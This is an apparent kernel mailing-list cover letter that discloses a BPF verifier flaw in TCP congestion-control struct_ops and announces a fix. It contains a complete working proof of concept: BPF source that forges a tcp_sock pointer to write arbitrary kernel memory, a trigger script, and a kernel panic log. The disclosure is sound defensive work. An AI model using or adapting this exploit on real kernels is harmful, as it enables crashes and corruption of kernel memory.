From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from mail-dy1-f175.google.com (mail-dy1-f175.google.com [74.125.82.175]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id BFD5847F3B8 for ; Wed, 14 Oct 2026 11:58:11 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=74.125.82.175 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1791979093; cv=none; b=QUTCKscEQGVPPgmncSCBaI/anD6GyTN0OqdpE44fmfRI5ynm32NuJ8qMpj3KFpPYTkhHOYYdiCDP1hx3O1OrO2rqBerKs1d0JAFu/45cST1WOf57b4J2xs1NCZXJ6r3My8KizgQKf2rozZALdP5KwJjyBNTEXt4+fC1yDdKadAM= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1791979093; c=relaxed/simple; bh=fN90NoktBZxvWdW7c2Pd81oD1LmhsKp4TuYRHks3dis=; h=From:To:Cc:Subject:Date:Message-ID:MIME-Version; b=Z7T2GRapMbxI0aClu5y71IKKWbs2ntMjROUw1rvzOKBIGnFI83rlr1ut2bGiMBFwmnFl1N0j3kBtYqSawUr9LPpy1AKcbiAM7VkilHFbYiFwt7yHwmUpA6Li6PK4iDCSw+w39fNdYj+Zb2e2VsE1Lwx6FgLzEW0zCAxOhpfNQ3Y= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dmarc=pass (p=quarantine dis=none) header.from=nebusec.ai; spf=pass smtp.mailfrom=nebusec.ai; dkim=pass (2048-bit key) header.d=nebusec.ai header.i=@nebusec.ai header.b=IzEknwKR; arc=none smtp.client-ip=74.125.82.175 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=quarantine dis=none) header.from=nebusec.ai Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=nebusec.ai Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=nebusec.ai header.i=@nebusec.ai header.b="IzEknwKR" Received: by mail-dy1-f175.google.com with SMTP id 5a478bee46e88-35d0be18c71so741169eec.1 for ; Wed, 14 Oct 2026 04:58:11 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nebusec.ai; s=google; t=1791979091; x=1792583891; darn=vger.kernel.org; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:from:to:cc:subject:date:message-id:reply-to:content-type; bh=xPru/NnWWFQNbeuTwcG8xYtjhV3tu9JBcVGwz1PvuPU=; b=IzEknwKRNaASG8JUVjXWCmDQJPBV1vKJK/maU5x+oC0iqEFoO/pj5u46+s/i0ekyb3 uq7nnoz8ZGmhQirVp8W9dxGSHhuR6yxOUy81uGfPug78nVmQVqg/KAa76+DjBzN9Qlxq Aeei8Sh6oXA7xakg78wSmwK3OxnVlJ0Vu8v1XyWkSmRZuKdR3WKPu1zdsLUn/HlP0YkS u0HimeIq2XdIGi24SEiqB3Ed4RrPbpRTEih/ydQDPRZtlWqhibStq2Y7SEMl4SveZ/RA 2yx68+2sQJJdZvbpFFE+YYo8DKN5K9jSxZUQfBT259U8U7tbbUXucCkPDSL9O8GB+gdQ trTA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20260707; t=1791979091; x=1792583891; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date :message-id:reply-to:content-type; bh=xPru/NnWWFQNbeuTwcG8xYtjhV3tu9JBcVGwz1PvuPU=; b=FlyIHAiffZUSfhiud9+CVE9Ux5lMGeqmiDaq17VpvPf3WGd1U7bg3rmEKzpRxHhZIS ra6ZNBdQWq8AqtKOjIO0v3bPmD6Ia0ZkgYV2p6Cl1hZPGF2e0HiKDX8VgJ0Ze6LqrtQ2 wMnHiPQnMpJxq8wt752E36EZEXkG7rLknG+JnVUV+TCz02I8neO5I7J8GaH3teUh0Okv 3sgdeX4fxe15Qg1Cs6Lo/l3fLJ+0SR9pDGXUE2w2BIxuChsHUfYJ5q7Qq0hhOtlPYpzY Xl8b1PzlaMds3GYKggdsoPgjz44zcRI49ZdEtbKgZFkO8tsbe5iHTuYq6KRz1TPf/2Wf /I2Q== X-Gm-Message-State: AFq9FYISG1Kuv0B/9pVtBd6SG5KsOP9hbgtHo+LSc0JDE/saHi0ULP+W Bwpo+UcGYQpy3qp2s3KeRK8FuJ1/RV1LGRUqNQr8z8iGfa3p2uz5gHd7BSWGGKV1ebZ6UYgqI9s xQ8nC5EtoYpk= X-Gm-Gg: AYBFou20hHXU0smYAvqddfaLirJHfJP8IkJsSFS7BS6L5bgXmpDfeOIe3Q5JYh4o3go iVYB5KEeCdMUvHdMIFFepdVVNDvtrxgaZkr01UU6wh4kShOvX5JWEYSBpgJzHKMrvIm3n/556a3 D3IQwgRjlZ3jH4jO7Si0+J7lRPdSL9iWqVn/2BUfU826A4CCpY/tfUbREMLRASwKN8wJWpzaIPK ZXLR+cum09cR9Pyb9RK7C5l8FAEsmqCltxNBwpqwV8SuUQ1kbF4/MJEMwJh+QMQDGK4YaemML78 vOeD07SnP1rlwkc7s9tRBVJ+sPBVPy06BhqcRBOzWelOgqNaL2KrBeJ1smo7AtiTzx5jsttVN3p 5C7U3ehgq9TNG0hE9wm5XKkFhpMrWXLn1FeX2oMBDy/AUA/WWMAtQr84rCh2WPqnvupXsj0Yrgs zJGjTSCMs6ePhVbX0x3AdzEEEt8PpiKEL/ukNS9hXBpy0jP5Bus6upmfP1LnMNe7yhO3HzojmCj 6OWSivNnaZMO/yuUA== X-Received: by 2002:a05:7301:29b3:b0:351:77a3:55f1 with SMTP id 5a478bee46e88-3536c593e65mr22787371eec.19.1791979090340; Wed, 14 Oct 2026 04:58:10 -0700 (PDT) Received: from Roxy.sysu.edu.cn ([2602:feda:30:ae86:295:dff:fe84:68f4]) by smtp.gmail.com with ESMTPSA id 5a478bee46e88-35977229a6esm37796346eec.8.2026.10.14.04.58.06 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 14 Oct 2026 04:58:09 -0700 (PDT) From: Zhiling Zou To: netdev@vger.kernel.org, bpf@vger.kernel.org Cc: davem@davemloft.net, edumazet@kernel.org, pabeni@redhat.com, horms@kernel.org, zhilinz@nebusec.ai, martin.lau@kernel.org, kafai.wan@linux.dev, yhs@fb.com, ast@kernel.org, vega@nebusec.ai Subject: [PATCH net 0/1] bpf: reject unsafe pointers in TCP congestion control access Date: Wed, 14 Oct 2026 19:57:56 +0800 Message-ID: X-Mailer: git-send-email 2.55.0 Precedence: bulk X-Mailing-List: netdev@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Hi Linux kernel maintainers, We found and validated an issue in net/ipv4/bpf_tcp_ca.c. A root user with the capabilities required for BPF struct_ops can load a TCP congestion-control program that writes through a forged tcp_sock pointer. We've tested it, and it should not affect any other functionality. We will provide detailed information about the bug in this email, along with a PoC to trigger it. ---- details below ---- Bug details: bpf_rdonly_cast() returns a BTF pointer with PTR_UNTRUSTED. Generic BPF store verification delegates writes through BTF pointers to the program type's btf_struct_access callback. bpf_tcp_ca_btf_struct_access() checks the BTF type and allowlisted member offset, but does not reject unsafe pointer modifiers. A BPF TCP struct_ops program can therefore cast a scalar address to a struct tcp_sock pointer and write through an allowed member such as sk_pacing_rate. The PoC biases the fake base so the store targets address 0x1000; the supplied KASAN log shows the resulting kernel-mode write fault in the struct_ops init callback. Reject pointers with unsafe modifiers before validating their BTF type and member offset. Trusted struct_ops context pointers retain the existing write access to the permitted TCP fields. Reproducer: ./poc.sh The supplied poc.bpf.o is used by the script. It requires bpftool and Python 3 in the guest. We ran it as root in a 2 vCPU, 2 GB QEMU guest. ------BEGIN poc.bpf.c------ // SPDX-License-Identifier: GPL-2.0 #include "vmlinux.h" #include #include #include #include "bpf_kfuncs.h" char LICENSE[] SEC("license") = "GPL"; #define TARGET_ADDR 0x1000UL #define WRITE_VALUE 0x4141414141414141UL SEC("struct_ops/init") void BPF_PROG(poc_init, struct sock *sk) { unsigned long base; struct sock *fake; base = TARGET_ADDR - __builtin_offsetof(struct sock, sk_pacing_rate); fake = bpf_rdonly_cast((const void *)base, bpf_core_type_id_kernel(struct tcp_sock)); fake->sk_pacing_rate = WRITE_VALUE; } SEC("struct_ops/cong_avoid") void BPF_PROG(poc_cong_avoid, struct sock *sk, u32 ack, u32 acked) { } SEC("struct_ops/ssthresh") u32 BPF_PROG(poc_ssthresh, struct sock *sk) { return 0; } SEC("struct_ops/undo_cwnd") u32 BPF_PROG(poc_undo_cwnd, struct sock *sk) { return 0; } SEC(".struct_ops") struct tcp_congestion_ops poc_ca = { .init = (void *)poc_init, .cong_avoid = (void *)poc_cong_avoid, .ssthresh = (void *)poc_ssthresh, .undo_cwnd = (void *)poc_undo_cwnd, .name = "k9v_poc", }; ------END poc.bpf.c-------- ------BEGIN bpf_kfuncs.h------ #ifndef __POC_BPF_KFUNCS_H #define __POC_BPF_KFUNCS_H extern void *bpf_rdonly_cast(const void *obj, __u32 btf_id) __ksym __weak; #endif ------END bpf_kfuncs.h-------- ------BEGIN poc.sh------ #!/bin/sh set -eux DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) cd "$DIR" if [ ! -f poc.bpf.o ]; then if command -v clang >/dev/null 2>&1; then make clean make else echo "missing poc.bpf.o and no clang available to rebuild it" >&2 exit 1 fi fi bpftool struct_ops register ./poc.bpf.o python3 - <<'PY' import socket import threading import time ALG = b"k9v_poc" ready = threading.Event() port_box = {} def server(): srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("127.0.0.1", 0)) port_box["port"] = srv.getsockname()[1] srv.listen(1) ready.set() conn, _ = srv.accept() time.sleep(5) conn.close() srv.close() threading.Thread(target=server, daemon=True).start() ready.wait() cli = socket.socket(socket.AF_INET, socket.SOCK_STREAM) cli.connect(("127.0.0.1", port_box["port"])) cli.setsockopt(socket.IPPROTO_TCP, socket.TCP_CONGESTION, ALG) PY ------END poc.sh-------- ----BEGIN crash log---- [ 900.010015][T10750] BUG: unable to handle page fault for address: 0000000000001000 [ 900.010735][T10750] #PF: supervisor write access in kernel mode [ 900.011201][T10750] #PF: error_code(0x0002) - not-present page [ 900.011675][T10750] PGD 10f17b067 P4D 10f17b067 PUD 1121c2067 PMD 0 [ 900.012209][T10750] Oops: Oops: 0002 [#1] PREEMPT SMP KASAN NOPTI [ 900.012693][T10750] CPU: 2 UID: 0 PID: 10750 Comm: python3 Not tainted 6.12.95 #2 [ 900.013186][T10750] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 900.013972][T10750] RIP: 0010:bpf_prog_861704879f83f62f_poc_init+0x2b/0x38 [ 900.014455][T10750] Code: 0f 1e fa 0f 1f 44 00 00 0f 1f 00 55 48 89 e5 f3 0f 1e fa bf 90 0c 00 00 be 85 ab 00 00 48 89 f8 48 bf 41 41 41 41 41 41 41 41 <48> 89 b8 70 03 00 00 c9 e9 4b 5e 6f ea cc cc cc cc cc cc cc cc cc [ 900.015700][T10750] RSP: 0018:ffffc900066dfb58 EFLAGS: 00010202 [ 900.016102][T10750] RAX: 0000000000000c90 RBX: 0000000000000001 RCX: 0000000000000000 [ 900.016617][T10750] RDX: 1ffff92000cdbf6e RSI: 000000000000ab85 RDI: 4141414141414141 [ 900.017128][T10750] RBP: ffffc900066dfb58 R08: 0000000000000000 R09: fffffbfff2c69990 [ 900.017641][T10750] R10: ffffffff9634cc87 R11: 0000000000000002 R12: ffff88810b72a278 [ 900.018210][T10750] R13: ffff88801d8fc340 R14: ffff88810b72a278 R15: ffff88810b72a2a8 [ 900.018843][T10750] FS: 00007f2b2a2d8780(0000) GS:ffff888118b00000(0000) knlGS:0000000000000000 [ 900.019539][T10750] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 900.020009][T10750] CR2: 0000000000001000 CR3: 000000007cca4000 CR4: 0000000000750ef0 [ 900.020633][T10750] PKRU: 55555554 [ 900.020913][T10750] Call Trace: [ 900.021183][T10750] [ 900.021434][T10750] bpf__tcp_congestion_ops_init+0x47/0xa7 [ 900.021880][T10750] tcp_init_congestion_control+0xa7/0x3b0 [ 900.022412][T10750] tcp_set_congestion_control+0x6a9/0x7c0 [ 900.022838][T10750] do_tcp_setsockopt+0x5c0/0x2170 [ 900.023230][T10750] ? __pfx_do_tcp_setsockopt+0x10/0x10 [ 900.023579][T10750] ? __pfx___might_resched+0x10/0x10 [ 900.024056][T10750] ? srso_alias_return_thunk+0x5/0xfbef5 [ 900.024523][T10750] ? aa_sk_perm+0x1d8/0x8d0 [ 900.024956][T10750] ? __pfx___lock_acquire+0x10/0x10 [ 900.025389][T10750] ? __pfx_aa_sk_perm+0x10/0x10 [ 900.025777][T10750] ? srso_alias_return_thunk+0x5/0xfbef5 [ 900.026212][T10750] ? srso_alias_return_thunk+0x5/0xfbef5 [ 900.026662][T10750] ? find_held_lock+0x2d/0x110 [ 900.027002][T10750] do_sock_setsockopt+0x1b8/0x3b0 [ 900.046958][T10750] Kernel panic - not syncing: Fatal exception [ 900.047768][T10750] Kernel Offset: disabled [ 900.048106][T10750] Rebooting in 86400 seconds.. -----END crash log----- Best regards, Zhiling Zou Zhiling Zou (1): bpf: reject unsafe pointers in TCP congestion control access net/ipv4/bpf_tcp_ca.c | 5 +++++ 1 file changed, 5 insertions(+) -- 2.55.0